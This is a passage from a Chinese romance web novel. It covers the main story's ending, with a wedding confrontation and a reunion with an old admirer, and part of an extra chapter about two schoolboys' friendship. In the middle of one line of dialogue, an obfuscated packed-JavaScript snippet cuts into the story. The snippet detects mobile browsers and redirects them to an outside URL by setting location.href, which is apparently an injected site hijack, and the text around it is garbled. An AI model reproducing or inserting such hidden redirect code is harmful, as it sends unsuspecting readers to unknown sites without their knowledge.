谢宇航对此嗤之以鼻:“不是他能是谁?叶玄霖,要是你对那个渣男还有幻想,我看不起你。” 她却不觉得是。当初肖景辰扔下她出国去了,多少有点计划不成及时止损的意思。这些年他混得风生水起,凭什么还要在她身上花心思?要不是如今他们又有了利益关联,估计他们都不会重逢。 章嘉佑和肖景辰的投资协议谈得一帆风顺,她联系别人做尽调,从肖景辰公司那里要内部资料,肖景辰都十分配合。期间她出过一趟差,所以同肖景辰并没有太多时间相处。最后关头,签约在即,肖景辰要回趟美国去处理些公司的事务,临走前约她吃晚饭,他们才算有机会单独坐下来好好叙旧。 晚餐约在某崭新大楼的高档日料。只要肖景辰愿意,他可以是一个很体贴入微的人,会记得你所有的喜好,现在还拿捏住了绅士风度,进门前稍作停留等你先进,在餐桌边替你拉开椅子,正确地使用餐具和餐巾,对侍应生礼貌地点头表示感谢,而且一切做得浑然天成。 叶玄霖不急着叙旧,只试探地问了公务:“都快要签约了,你这么着急回去有什么事吗?” 肖景辰面色如常,淡淡说:“没什么事,只不过税务部门有些例行问询,得我回去处理一下。” 他不多说,叶玄霖也识趣地没再多问。话题不可避免地回到叙旧上,无非是“你好吗”,“我很好”之类的套话,凭着他们之间的黑历史,对许多旧事两个人都心照不宣地避之唯恐不及,这旧叙得就十分不走心。最后饭吃到后半程,肖景辰似乎犹豫良久,脸色一变,郑重地说:“有件事在我心上搁了许多年,今天总算有机会对你说。” 叶玄霖在心里一哂,心想,来了来了。果然,他从怀里掏出一张银行卡放在她面前:“当年我出国之前借了你的钱,早就想还给你。不过……”他面色无奈地一笑,“……你把我给拉黑了,我也找不到你……” 她扫了一眼桌上的那张卡,略一停顿,笑了笑拾起卡放进口袋里,轻描淡写地说:“其实你也不用那么着急,也没多少钱。过去的早过去了,眼下重要的是把deal给close掉。” 肖景辰一怔,似乎不相信眼前的事,研判地望着她问:“真的?你还是我认识的叶玄霖吗?” 其实她说的也不完全都是假话,所以平静地回答:“现实教你做人。我小时候比较单纯,现在不会了。我现在比以前更理解你当初的选择,你那时候需要的是前途,爱情算什么东西,根本微不足道。” 他在微暗的灯光下眼神闪烁地看着她,似乎若有所思。她不禁笑了:“We don’t need love——That’s like a superpower.(我们不需要爱——这就像种超能力。)” 这又是一句《继承之战》里的著名台词。他一听就明白过来,想了想,忽然扬起嘴角也忍俊不禁地笑起来,大概是终于信了她。同样对《继承之战》熟到可以随时引用台词的两个人,三观大概也不会差得太远吧。 7. 第 7 章 Information, is like a bottle of fine wine. You store it. You hoard It. You save it for a special occasion and then you smash someone’s face with it. 信息,就像一瓶美酒。你储存它,你囤积它,你为特别的场合保存它,然后你等着在这个特殊的场合用它砸某人的脸。 叶玄霖估摸着到了肖景辰下飞机的时间,给他发了这条信息。 果然,肖景辰立刻就回了她,给她发了一个问号。她解释说:“《继承之战》的台词里,我最喜欢的是这一句。” 要说特殊的场合,这一天确实有。这一天是曹思静结婚的大喜日子。 婚礼就在夏雨晴工作的婚庆会所里进行。新郎是叶玄霖不认识的人,据说是曹思静工作中认识的同事。距离婚礼正式开始还有半个多小时,叶玄霖在门口签了到,随了红包,顺利地找到新娘休息室推开门。 休息室里花里团锦簇,欢声笑语。曹思静长裙曳地,众星捧月地坐在一片纯洁的白色中间。曹思静本来长得清秀素净,这时候化着明艳大气的新酿妆,也有种鲜花着锦般的热烈,回过头来看见进来的是她,脸色一沉,略一思索就扭头小声告诉伴娘们先出去。 等门在叶玄霖身后关上,曹思静才问:“你怎么进来的?我没给你发请柬。” 叶玄霖笑说:“巧了,有个朋友正好在这家婚庆会所工作,就放我进来了。听说你结婚,我怎么能不来?” 曹思静阴着脸:“来做什么?” 她自顾自在曹思静对面的沙发上坐下:“我这个人记仇。你结婚的大喜日子,我有些话想告诉你。” 想当年就是这样——曹思静把她骗到她和肖景辰同居过的小黑屋里,正襟危坐在她对面,告诉她你男朋友爱的不是你只是你家的背景和你的钱。如今她复刻那个情景,背脊挺得笔直,双手交叠在膝盖上,正襟危坐在曹思静面前。她自然是故意的,曹思静一定也看出来了,对她怒目而视:“你有话就快说。” 她饶有兴味地看曹思静生气,看了片刻才问:“不知道你听说了没有?肖景辰刚刚回国了一趟,我昨天还和他一起吃过晚饭。你结婚这种大事,怎么也不请他?” 曹思静一声冷笑:“他和我有什么关系?”说罢低头看时间:“就这?说完了吗?你可以走了,晚宴快开始了。” 她也煞有介事地抬腕看时间:“这个点儿,美国西岸已经半夜了。肖景辰今天刚刚回了美国,今晚说不定要在FBI的问询室里过了。” 曹思静的脸上有一瞬间的震惊,而她很满意看见那种表情,继续说:“肖景辰走的时候还以为他公司只是收到了税务部门的例行查询,其实他在飞机上的时候FBI刚去搜了他公司的办公室,听说FBI就等在海关出口,就等着他回去自投罗网。” 曹思静抬眼问:“他出什么事儿了?” 她说:“也没什么特别的,就是做假账,虚报用户数据,低报费用,高报收入,伪造合同,用虚假数据诈骗投资人,外加点偷税漏税的问题。要不是我们公司准备在他那里投点钱,我也没机会找了法务会计师专门查了他的账。以他那爱走捷径的德行,我料到他的账目会不干净,不过也没料到他玩儿得还挺大。” 曹思静听她的叙述,神色几经变化,由最初的震惊变成淡淡的嘲讽,最后是五味杂陈,复杂难辨。她不知道曹思静此刻究竟是怎样的心情,只说自己来想告诉她的话:“曹思静,你都结婚了,就不能往前看?别再恨我了。就算这世界对你不公平,你该恨的人也不是我。以后别再给我送花了,我又不是死人,你每年一束黑菊花地恶心我,有意思吗?” 曹思静还是曹思静,回过神来语调带三分尖刻七分嘲讽:“我不该恨你,那我该恨谁?” 这是她回答不了的问题。她想了想只是说:“我也不知道你该恨谁,但就我个人的经验来说,恨人伤身体。我今天来主要是想告诉你,肖景辰这件事对我来说了结了,将来他的任何事都不能再伤害到我一点。如果你有一点恨肖景辰的话,就当我替我们俩报仇了。” 此刻门外有人敲门,一个伴娘探头进来说:“思静,时间快到了,咱们准备准备也该要出去了。” 叶玄霖听了大方地站起来:“行了。曹思静,今天是你大婚的好日子,我祝你们和和美美,幸福一生。我说完了,就先走了。” 反倒是曹思静突然有几分挽留的意思,抬头问:“你……这就走了?” 她回头笑说:“外面见吧。我礼都随了,总得蹭顿饭再走。”说完一顿,又添了一句:“……不过,过了今天,咱们还是桥归桥,路归路,江湖不见的好。” 她离开曹思静扬长而去,跟着人群去吃喜宴。来参加婚礼的人正在往宴会大厅聚集,大厅门口川流不息,她还意外在人群里看到一个熟悉的瘦高个子。那人正晃晃悠悠地随人流往里走,不料一把被她抓住。她满是惊诧地问:“谢宇航,你怎么也来了?” 谢宇航回头看到是她,倒是不怎么惊讶,还是一副看热闹不嫌事大的样子:“我怎么不能来?听说你要来,我怎么能错过这种看热闹的机会?” 众人陆续在宴会厅里落座,他们站在宴会厅门口聊了一会儿。她问:“曹思静不是没请你吗?你又没有请柬,怎么混进来的?” 他理所当然地回答:“谁说我没有请柬?我没有我朋友有啊。” 她才不相信他的鬼话:“是是是,你朋友遍天下,只要你想,总有一个‘朋友’会及时出现。” 他给了她一个“信不信由你”的眼神,又兴致勃勃地问:“来来来,八卦一下。怎么样?有仇报仇,爽不爽?” 她反而没有兴致,感叹说:“什么爽不爽的。有些事我早看透了,爱来恨去都是浮云。就像你说的,别人的爱恨都不重要,你爱自己就行。” 谢宇航侧过脸,又一脸嫌弃地看她:“啧啧啧,你才多大?也不用这么丧气吧。我记得我还说过,说不定有哪个傻子在世界的哪个角落喜欢你呢?眼瞎的人也不是没有。” 这时候婚礼的主持人出来了,众人一起鼓掌。大厅里灯火辉煌,流光溢彩。在光影交织中,她忽然看见众多餐桌中的一桌旁端坐着一个年轻男子,皮肤白皙,剑眉星目,在灯光下五官显得尤为深邃,目光却又柔和温润。 人头攒动。她也不知道为何忽然会注意到这样一个人,也许是因为他看起来像她认识的一个故人。他们离得有点远,她眯着眼定睛看了又看,才确认这人确实是她认识的故人。 “我去!是我眼花了吗?你看那是谁!”她对身边的谢宇航惊呼,顺手想拉他的袖子,却拉了一个空,回头一看,发现谢宇航不知什么时候已经走开了,正在走廊那头和漂亮的工作人员小妹妹聊天。她再回头,正好和那个人四目相对,撞了个正着。 主持人在台上搞气氛:“今天大家是不是都很兴奋?现在,就让我们用最热烈的掌声,有请今天的主角——我们的新郎登场!” 掌声雷动。新郎肯定是个星球大战影迷,伴着星球大战的主题音乐出场。对面那个人似乎早就认出了她,目光越过人群和掌声定定落在她的方向,良久忽然又弯起嘴角朝她笑了笑。 既然都已经认出来了,而且那人身边的座位正好空着,她就走过去打个招呼,坐下来说:“彭乐轩!你是彭乐轩吧?” 他目光闪动,含笑说:“是,叶玄霖,我是彭乐轩。” 她和曹思静的社交圈完全没有交集,最多可能就是几个高中同学,而放眼望去,她也没看见什么熟面孔,所以多少有些惊喜:“彭乐轩,这都七八年没见了吧?没想到你竟然还能一眼认出我来!” 他笑了笑说:“我也没想到,没想到你还能认出我来。” 她又想起来:“我还看见谢宇航了。谢宇航,也是咱们睿文中学的,你还记得吧?” 没想到彭乐轩笑着说:“你坐的这个座位就是谢宇航的。” 遥想当年,她记忆中唯一一件关于彭乐轩的事是毕业以后他突然跑到他们大院里来向她告白,而那次就是谢宇航把他放进了大院儿。她这才恍然大悟:“哦!你就是谢宇航说的那个朋友啊!” 新娘在《暮光之城》的插曲《千年》的音乐中出场,全场再次掌声雷动。她和彭乐轩虽然以前不熟,可以说几乎没说过什么话,这时候聊起来,她却发现他还是个很好的聊天对象,温文尔雅,谈吐有趣,还善于倾听,从来不让你提起的话头掉在地上。他毕业后的经历也像她听说的一样:香港著名大学毕业,又读了个MBA,现在从事金融业,任职某头部投行。她笑说:“没想到你我倒成了同行。我记得你以前可是个文艺青年,每年在学校新年晚会上拉小提琴,还随口就能引用几句拜伦和狄金森,十分吓人。” 他听了只是笑笑。 台上这时候进行到新郎新娘交换誓言的环节,新郎心潮澎湃地说:“无论时光如何流转,我对你的爱将超越生死,跨越永恒。让我们携手共进,不离不弃。”他顺着她的话题,笑着随口来了一句:“Love is less always than to win; less never than alive. By e. e. cummings(爱比胜利更渺小,比生命更永恒。 EE卡明思)” 这句话却忽然戳中了她记忆中的某个点。她回想良久,忽然说:“我大一的时候收到过一本卡明思的诗集,也不知是谁送的,没有留名字,书里还夹着几朵暗紫色的花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035823|162422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他目光一闪,低头说:“是吗?” 她继续说:“嗯,我觉得那几朵花特别美。后来我在朋友圈问了问,有个人告诉我那是非洲雏菊。” 他一扬眉,笑问:“有个人,谁啊?” 她回答:“就是有个人啊,那个人后来还成了我男朋友,我一直以为那本诗集和非洲雏菊都是他送的。” “不是非洲雏菊,”他略一停顿,抬眼,纠正她说:“那是大丽花,英文叫Dahlia。” 她才明白过来,接着说:“对啊,光看照片,大丽花和非洲雏菊确实挺像的。后来我也看出来了,他送我的非洲雏菊和最初那几朵不一样。” 他点头表示同意,几分玩笑又有几分认真的口吻说:“雏菊也太小家子气了,哪里配得上你。” 她颇有些遗憾:“可我一直也没猜到最初那几朵大丽花的是谁送的。我记得那天好像是五二零来着,也不知道那人怎么送了东西后来又不出现。” 他停了片刻,低头避开她的目光说:“有可能是那个人万里迢迢从别处赶过来,打你电话你不接,在宿舍门口等了一晚,却看见你和你那个男朋友大清早手拉手从外面回来。” 她惊讶又抱歉:“这么巧?换做我一定会被气死。不过这么多年过去了,那个人应该消气了吧?早忘了吧?但愿他没记恨我。” 这时候台上有歌手出来唱歌,灯光已经暗下来。他在光影交织的灯光下嘴角微扬,带点自嘲地一笑,摇了摇手里的红酒杯,抬起眼来望着她说:“这种事怎么可能忘?说不定要耿耿于怀一辈子。谁说的来着,年少时不宜遇到太耀眼的人,容易被闪瞎眼。” 大厅里灯光变幻,照在人脸上忽明忽暗。他穿LV这一季新款的浅蓝色细纹衬衫,不经意地敞开最上面的两颗扣子,露出迷人的锁骨。黑白金三色的戒指松松套在他白皙修长的食指上,她认得那戒指是宝诗龙的Quatre系列。 戒指戴在食指上的男人,不知道是不是表示他是单身? 她大概从未仔细看过彭乐轩这个人,印象中高中时他就是从操场那头走过,白白净净的一个好看得很普通的男孩子,如此而已。那时候她心里被别的情绪占据,满是对这个世界的愤懑和不满,根本注意不到远处爱慕的目光。 现在的她已经跳出了那个怪圈,再不想在意别人的态度,只想做取悦自己的事,再看彭乐轩这个人,竟发现他和记忆里的完全不一样。谁知道呢,爱情本来不过就是一种荷尔蒙,有时候因为一朵花,或者一句话,触动了心里某根神经,你忽然会觉得这是个对味儿的人。 婚礼现场的味儿却是她最不喜欢的。台上那个不知名的歌手正在气势磅礴地引亢高歌,干冰雾气袅袅升起。几百个人挤在一个封闭的空间里,呼吸同一片空气。她不禁抱怨:“我最讨厌婚礼了,乌烟瘴气的,空气太差。” 他笑说:“我也是。单身的人是不是都讨厌婚礼?”说完一顿,看了看她的神色,忽然提议:“要不咱们现在撤退,开车出去透透气?” 她对这个提议完全没有心理准备,诧异之下第一个反应是拒绝:“去哪儿?帝都哪里不是红尘滚滚,外面好像还下雨了。” 他双眉一扬,又说出一个出人意料的提议:“下雨算什么?要不要去海边?海上的雨景也很别致。” 她觉得他在开玩笑:“现在?海上雨景?我只听说过海上雪景,没听说过海上雨景。”说完随即又想到另一件事,想了想说:“可惜现在是夏天,不下雪,海上雪景倒是特别美。有一次我寒假住在一个朋友家,特别喜欢他家一个海上雪景的玻璃球,动不动就打开玻璃球下一场海上的大雪。” 那是个失恋的季节,她缩在谢宇航的一个“朋友”的房子里,孤孤单单独自度过一整个冬天。 彭乐轩听了就笑:“我说呢,怎么后来那个玻璃球就不动了,原来是被你玩儿得没电了。那只玻璃球可是我在厦门海边的一家小店里淘到的,后来再也找不到一样的了。” 他抬腕看了看手表,收拾起自己手边的东西,一副蓄势待发的样子:“我说真的,现在跟我走,绝对不让你失望。” “真的要去海边?“她这才相信他不是在开玩笑,“现在?天都黑透了,太晚了吧?” 他一脸认真地回答:“现在出发,从这里开到海边三个多小时吧,十二点前就能到,一点都不晚。” 她被他说走就走的样子打动,也找不出拒绝的理由,终于点了头,笑说:“也是,还不算太晚。” 她收拾好东西,他绅士地起身替她拉开座椅。这时候婚礼上开始放气球,主持人高亢的声音说:“让我们见证这个重要的时刻!”他们就这样低着头在铺天盖地的气球下面穿过大厅偷偷撤退,他还在她身后轻声笑着说了一句:“大海,我来了。” (正文完) 8. 番外[番外] (作者友情提示:这基本是一个写小彭的番外,但部分有BL内容,不喜勿入,赶紧点叉!) 谢宇航第一次见到彭乐轩是在他上小提琴课的教室门外。 那年他刚上初三,老妈逼着他学一样乐器,他想他谢宇航不鸣则已,一鸣必定要惊人,因此就选了最难学的小提琴。老妈带他去上课,来得早了些,他坐在教室门口等了片刻,听教室里的学生拉维瓦尔第,随后就看到一个同他年龄相仿的男生从教室里走出来。 老妈在门口啧啧称赞:“你看看别人家的孩子!琴拉得这么好,人还长得那么帅!” 老妈这话他自然是不服的。他才学小提琴没多久,比不上别人是正常的。至于长相……那人长得确实挺好看,也许比他长得还好看,但这能怪谁? 他们两个人的课前后脚,一来二去,他和那个男生混了个脸熟,甚至还搭过几次话,听说他叫彭乐轩,和他同一年级,会弹钢琴也会拉小提琴,中考的目标是睿文中学。 按照谢宇航的成绩,考重点高中大概是无望的,因此父母早早做了打算,联系了学校要送他去读美高。本来他觉得去哪里都无所谓,这时候忽然燃起了了斗志,跟老妈说:“我要去中考,考睿文中学。” 老妈比他有自知之明,望着他忧心忡忡:“这孩子,忽然这是怎么了?被谁忽悠了?竟然想要去中考。” 他不好意思说是被彭乐轩那个别人家的孩子忽悠了,想了半天说:“……叶玄霖也要去参加中考。她都能考上,为什么我就不行?” 老妈望着他的目光变得很是意味深长,很长时间里都以为是他青春期发育,忽然发现了一个暗恋对象。 总之,他后来确实参加了中考,而且也确实不幸落榜,老爸花了洪荒之力把他弄进睿文中学借读,还安排在成绩最好的一班,跟彭乐轩同班。 比起读书,他那时候更热衷于拉小提琴,每天恨不得一下课就回家拉琴,只是拉了一年多还不见长进,一曲巴赫的G大调小步舞曲拉得比锯木头还难听,把老妈折磨得生不如死。凭他三分钟热度的性子,老妈着实没料到他对拉琴的执着,悔不该当初送他去学琴,可惜此时后悔已晚,他一腔热忱地要把琴拉得比肩彭乐轩,还自信满满地去找了彭乐轩,问他:“我想报名学校的元旦晚会,拉一首巴赫的G大调小步舞曲,你能不能做我的钢琴伴奏?” 彭乐轩脾气好,看谢宇航斗志昂扬,笑着一口就答应下来:“好啊!” 谢宇航为此花了许多个周末拉彭乐轩一起排练,结果却在筛选过程里名落孙山。其实他并不是一定要上台表演,甚至于自知小提琴拉得难听,觉得落选是必然的,只是因此他还遭到了叶玄霖的嘲笑,便十分不爽。 叶玄霖笑话他:“听说你报名元旦晚会拉小提琴,还找了彭乐轩来给你伴奏,竟然还落选了?” “你也知道彭乐轩?”他始料不及。 叶玄霖理所当然地回答:“当然知道啊,诗歌音乐小王子嘛,哪个女生不知道?啧啧啧,彭乐轩给你伴奏都救不了你,你是拉得有多差?” 不知为什么,这话在谢宇航听来尤为刺耳。他立刻反唇相讥:“听说你昨天又被叫去校长办公室训话了?啧啧啧,你这样谁受得了你啊,怪不得你爸妈都逃到国外去了不肯回来,是怕被叫去学校挨骂丢人吧?” 诚然,他同叶玄霖自打蹒跚学步时起就是欢喜冤家,许多革命友情都是这样在互相伤害中茁壮成长起来的。 他同彭乐轩的革命友情发展得要顺利得多。他们落选了,彭乐轩却也不以为意,只拍拍他肩对他笑着说:“没关系,今年咱们准备的时间太短,明年多练练,重新再来。” 他把这话当作一种承诺,按下决心明年要卷土重来。其实那时候他心里有奇怪的念头,心想,既然打不过敌人,就加入敌人。既然小提琴他可能永远也拉不过彭乐轩,那至少可以努力把彭乐轩变成自己在学校的跟班儿! 人的记忆总有偏差,谢宇航记得许多高中的点滴琐事,而一切似乎都发生在夏天。比如体育课上打篮球,他不怎么爱篮球的人也去凑热闹,硬挤进彭乐轩那一队。彭乐轩笑笑也不介意,对他同伴说:“我哥们儿,让他打中锋吧。”然后让出中锋的位置给他传球。打完球两个人挥汗如雨地在场边擦汗,他没带水,就抢过彭乐轩喝了一半的水瓶子一饮而尽。 学校教室没有空调,一到夏天就闷热难耐。他坐在最后一排,彭乐轩坐在他前几排靠窗的位置。有时候窗外的阳光格外刺眼,彭乐轩喜欢把袖子撸到肩膀上,一手拿着练习册当扇子扇风,一手支着脑袋望着窗外发呆。这时候他就能看见他的侧脸,鼻子高挺,下颌线分明,还有上翘的睫毛微微颤动。彭乐轩身后坐的是一个嘴很碎的女生,一到自习课就喜欢戳彭乐轩的后背,向他借橡皮圆珠笔考卷和练习册。彭乐轩好像从来也不拒绝,不知他有没有意识到女生的意图,反正每到这时候谢宇航就忍不住在心里把白眼翻到天花板上。 彭乐轩的爷爷奶奶在学校对面的旧小区里留了一小套旧房子,只有彭乐轩偶尔自己住,谢宇航就常常去那里蹭空调。第一次去是中午,他跟着彭乐轩回去蹭他的午饭,蹭完了午饭还要蹭一会儿午觉。彭乐轩的单人床正对着空调,他抢先一步摊倒在彭乐轩的床上享受呼呼的凉风,彭乐轩看见也只好笑着摇头,拿起枕头说:“你睡这儿吧,我去客厅沙发睡。” 他又觉得不好意思,抢回彭乐轩的枕头说:“不用,床还给你,我睡在地板就行。” 后来到了暑假,他又旧事重提:“你说过的,明年元旦晚会咱们还要再报名,暑假你得陪我练琴。”彭乐轩连后排借橡皮的女生也不会拒绝,自然也不会拒绝他,笑着答应下来:“好啊,随时奉陪。” 彭乐轩家的客厅装了隔音板,音响设备齐全,平时彭乐轩就在那里听音乐和练琴,这时候也自然成了他们的训练基地。他天天跑来练琴,蹭饭,蹭午觉,还要蹭电脑打会儿游戏才回家。老妈到后来也发觉他每天都早出晚归地往外跑,问他:“这么早,你又去哪儿?” 他含糊其辞地回答:“暑假作业多,我去跟同学一起做作业。” 老妈十分狐疑,看他的眼神变得若有所思起来:“同学?哪个同学?是不是隔壁的叶玄霖?” 他假装没听见,火速摔门而去。那时候他像所有青春期的小孩一样,最讨厌家长刨根问底。他同彭乐轩的革命友情是他很个人的事,家长无需知晓。至于老妈误会他跟叶玄霖的革命友情……误会就误会吧,反正也不是真的。 彭乐轩家里有不少小提琴大师的CD。彭乐轩总教育他,一定要用好的音响设备,在很好的隔音环境下,听原装正版的CD,这样才能听出大师们演奏的妙处。他抽了彭乐轩书架上的CD想借回家听,彭乐轩又一把把CD抽回来认真严肃地回绝:“牙刷和CD不能借给别人,不过我可以带你去音像书店买新的。” 他们去音像书店买CD,还意外地遇见了熟人。两版巴赫的小提琴曲,一版的演奏者叫Hilary Hahn,另一版的演奏者叫Anastasiya Petryshak,两个都是他闻所未闻的名字。他在书架前犹疑不定,抬头想问彭乐轩,却看见他似乎在发呆。 不远处的收银台有人正在同工作人员争执,那个人恰好是叶玄霖。他就听到叶玄霖说:“Black Dahlia,黑色大丽花乐队,前几天我在你们这儿听你们放过,怎么可能没有卖的?” 工作人员说:“我们这儿确实没卖过,可能是谁放了自己的CD吧。你要不去网上看看有没有卖?” 叶玄霖十分失望:“网上很多都是盗版的,要不就是打口CD。我就想买一张正版的收藏而已。” 工作人员遗憾地说:“那你大概只好去国外买了,我们这儿只卖正版引进的CD,这个乐队从来没引进过。” 叶玄霖不屈不挠地胡搅蛮缠:“为什么不引进啊?这个乐队真的特别好听。你们得向上面反映反映,像我这样的摇滚乐爱好者很多的,你们这流失多少客户啊……” 他放下手里的CD,一把拉着彭乐轩就走:“今天不买了,咱们下次再来。” 彭乐轩跟着他出了书店,等他停下脚步,忽然问:“你为什么躲着叶玄霖?” 他说:“不能让叶玄霖看见我啊,要不然她告诉我老妈我和你在一起怎么办?” 彭乐轩不解,一皱眉笑问:“怎么了?和我在一起是见不得人的事吗?” 他一怔,想说倒也不是……可转念一想,忽然意识到:“你知道她叫叶玄霖?你也认识她?” 彭乐轩神色一顿,低眼回答说:“不认识,就是在学校见过而已。” 这是件不值一提的小事,却在他心里激起莫名的波澜。也不过就一夜的功夫,他忽然感觉失去了些什么,再也提不起拉琴的兴致。第二天他跑去彭乐轩那里向他宣布:“我决定不拉琴了。这本来就是我老妈逼我学的,我一点也不喜欢,反正我估计永远也不可能拉得比你好。” 没错,他就是这么个容易放弃的人。按他老妈的说法,他就三分钟热度。反过来说,这叫洒脱不羁不钻牛角尖。 他和彭乐轩的革命友情并未因此中断。他仍旧和彭乐轩一起打篮球打游戏做作业,也仍旧去彭乐轩家蹭空调睡午觉,只是开学之后夏天过去,天气凉下来,他去得也就渐渐少了。 高二的时光十分无聊,大部分同学都在卷生卷死,谢宇航记得的只有少数几件事。比如还是夏天,他同彭乐轩一起去打篮球,打到浑身臭汗,彭乐轩把球扔给他说:“你再打会儿,我休息一下。” 他一边打着球,一边目光又被场边的同学吸引。彭乐轩抱膝坐在场边,侧过身,目光落在别处。不远处的女生正在围成一圈打排球,隐隐能听到叶玄霖的声音说:“……喂,你们几个别太欺负人行不行?为什么一次都不传给曹思静?……” 听说曹思静比较孤僻,在女生里人缘不好,只有叶玄霖和她同出同进,但因为长得清秀,在男生里反而有些人气。那一年曹思静同彭乐轩一起主持过元旦晚会,关于他们两个无聊的揣测就像杂草一样疯长。这时候有人看见彭乐轩目光投去的方向,立刻笑:“彭乐轩,你在看啥呢?哦,有人在打排球呢!” 场边的几个人起哄,互相推搡。谢宇航分了神,站在场上没看见同伴传给他的球,迎面被球砸中鼻梁,立刻鲜血长流。也不知为什么,那时候他忽然一股怒气冲上脑门,把球砸回去,扔下场上其他人,甩手愤然离开。 他怒气冲冲地往回走,后面彭乐轩跟上来,在他身后喊:“谢宇航,等等我,慢点儿走。你去哪儿?” 他那时候像一头失去理智的斗牛,什么也不想听,抹了一把鼻血,头也不回地说:“不要你管!” 彭乐轩几个大步还是赶上来,拉住他:“站住!哪儿都不准去,我陪你去医务室。” 后来他还是乖乖地跟彭乐轩去了医务室,止住了鼻血,额角的伤口也清理完贴了创可贴。彭乐轩笑话他:“你没看见你刚才自己的样子,满头满脸都是血,吓死人了。球打得好好的,你怎么突然就生气了?” 他这时候已经冷静下来,也觉得自己莫名其妙无理取闹,摸着额角找藉口说:“被球砸了能不生气吗?嘶——可疼了!” 彭乐轩一脸不相信,伸手来摸他的额角:“就这么点儿小口子,有那么疼吗?” 他慌张地低头避开,赶紧转移话题:“你那个……不会真喜欢曹思静吧?” 他们两个正走在回教学楼的路上。彭乐轩朝他做了个无奈的表情,他又试探地问了一句:“……还是你喜欢的其实是叶玄霖?” 彭乐轩只低头,回答了一句:“什么啊!你可别乱说。”说完快步甩开他走去了前面。有一刻他怀疑自己看到彭乐轩脸红,忙又跟上去试探地追问:“叶玄霖和曹思静是同桌,我让叶玄霖帮你问问,看看曹思静是不是也喜欢你?” 这下彭乐轩急了,停下脚步严肃地制止他:“谢宇航,没有的事!你别乱来!” 可他分明看到彭乐轩脸红,分明看到彭乐轩看叶玄霖的眼神不一样。后来叶玄霖骂他一个七尺男儿怎么忽然变得如此八卦。他也说不上来为什么,只是有些事他也莫明其妙地在意。 高三开学的第一天,他又去彭乐轩家蹭午觉。九月伊始,天气还闷热难当,正好彭乐轩家的空调出了故障,他还是在彭乐轩床边的地板上睡了一个长长的午觉,做了一个梦,梦见彭乐轩在前面跑,他在后面追,追得大汗淋漓。转眼快追上了,他猛地一激灵醒过来,抬头一看,彭乐轩已经不在他的床上了。 已经快到下午上课的时间。他走出卧室,看见彭乐轩瘦长又肌理分明的背影靠在阳台的栏杆上看风景。 空气里仿佛挤得出臭汗来。他去冰箱里拿了两罐冰可乐,去阳台上和彭乐轩并肩一起乘凉。从阳台上向下望,正好可以看见马路对面的睿文中学,穿校服的学生像蓝蚂蚁一样陆陆续续爬进校门。彭乐轩看得颇为认真,也不知他在想些什么。他把冰可乐递到彭乐轩手里,彭乐轩忽然侧脸问:“高中最后一年了,你准备去哪里读大学?” “我?”他其实没怎么想过这个问题,回答说, “考上哪儿就读哪儿吧。” “如果考不上呢?”他又问。 他想了想:“如果考不上,我老妈肯定得把我赶到国外去混个文凭吧。” 彭乐轩听了神色一顿,仰头喝了一大口可乐,低下头来过了片刻才问: “你们大院儿别的小孩是不是都跟你一样,如果考不上就出国?” 他们大院儿在睿文中学读书的除了他只有叶玄霖。自从篮球场事件之后,他们从未再提起过曹思静或者叶玄霖,可是不知从什么时候起,彭乐轩的心思对他来说就像摊开的书本一样一目了然。他一声嗤笑,回答说:“应该差不多吧。比如叶玄霖,整天不读书,我估计她也考不上什么好学校。她父母如今在香港,肯定会在香港给她找间学校吧。” 结果去香港读书的只有彭乐轩一个人。毕业之后他拉彭乐轩一起出去喝了一场酒,感觉就像是他们成为成年人的仪式。那天他疑惑地问过彭乐轩:“叶玄霖有什么好?为什么是叶玄霖?”彭乐轩微醺地红着脸,想了半天才回答:“这有什么为什么?就都挺好的……如果一定要说为什么,她和别人不一样,挺酷的,被她喜欢一定很幸福。” “就这?”谢宇航在心里翻白眼,暗骂了一句“彭乐轩你个舔狗!”诚然,换了他谢宇航,绝不会因为一个人把自己混得那么惨。 不知道一场单方面的恋爱能维持多久?一年?两年?五年?就算为了他哥们儿的身心健康,他也不希望这段时间太长。 大学里他知道彭乐轩见到过叶玄霖两次,很巧,叶玄霖一次也没见到彭乐轩。第一次是他们大二那年的五月,彭乐轩忽然从香港回来。他不知道彭乐轩为何而来,欢天喜地地去机场接机,准备带他去再大醉一场,结果十分失望地发现,彭乐轩竟然为别人而来。那次的结果也不好,彭乐轩失意而归。 另一次是个偶然。有一年春节,叶玄霖忽然打电话给他,说她和家里闹翻了,需要找个地方住几天,那时候恰巧彭乐轩就在他身边。彭乐轩在睿文中学对面的旧房子一直空着,只有他寒暑假从香港回来时会去住,当然是最好的选择。 叶玄霖回来的那天,他同彭乐轩一起去火车站接人。记得那年天气严寒,夜里刚下过雪,早上路边还积雪成山。列车晚点,他们站在出站口多等了许久,好不容易看见叶玄霖出现在出站口,又看见她还手拉手还牵着另一个人。 接到叶玄霖电话的那天,彭乐轩忙了一晚上,打扫卫生,收拾房间,还去超市买了一大车东西。他在心里一边翻白眼一边暗骂“彭乐轩你个舔狗”,可看他兴致勃勃的样子,竟然也有几分为他高兴。没想到出站口一下子来了手牵手的两个人。他回头看彭乐轩,看见他目视前方,神色好像凝固在脸上。那一刻他心里都涌过一阵难过,无奈拍拍彭乐轩的肩说:“行了,走吧,他们就在那边。” “嗯。”彭乐轩答应了一声,跟着他向前走了几步,又停住脚步说,“我还是不过去了,你去接他们吧。” 他十分不解:“来都来了,你为什么不去?” 彭乐轩把钥匙塞进他手里:“别说那是我家。” 他一下急了,问他:“彭乐轩你什么意思啊?学雷锋做好事不留名啊?” 彭乐轩淡然一笑,回答说:“我去不合适吧。她和男朋友在一起,要知道这房子是我的,你是让她住呢,还是不让她住呢?她肯定心里不自在,还是别知道的好。” 那天晚上谢宇航还是拉彭乐轩去喝了一场酒。作为数次被创的人,彭乐轩的情绪简直稳定得出奇,反倒是谢宇航喝得有五分的醉意,骂彭乐轩说:“我就不理解了,你这么无私奉献算怎么回事儿?你就不憋屈不难受吗?” 彭乐轩一笑,也不说什么,低头缓缓喝酒。 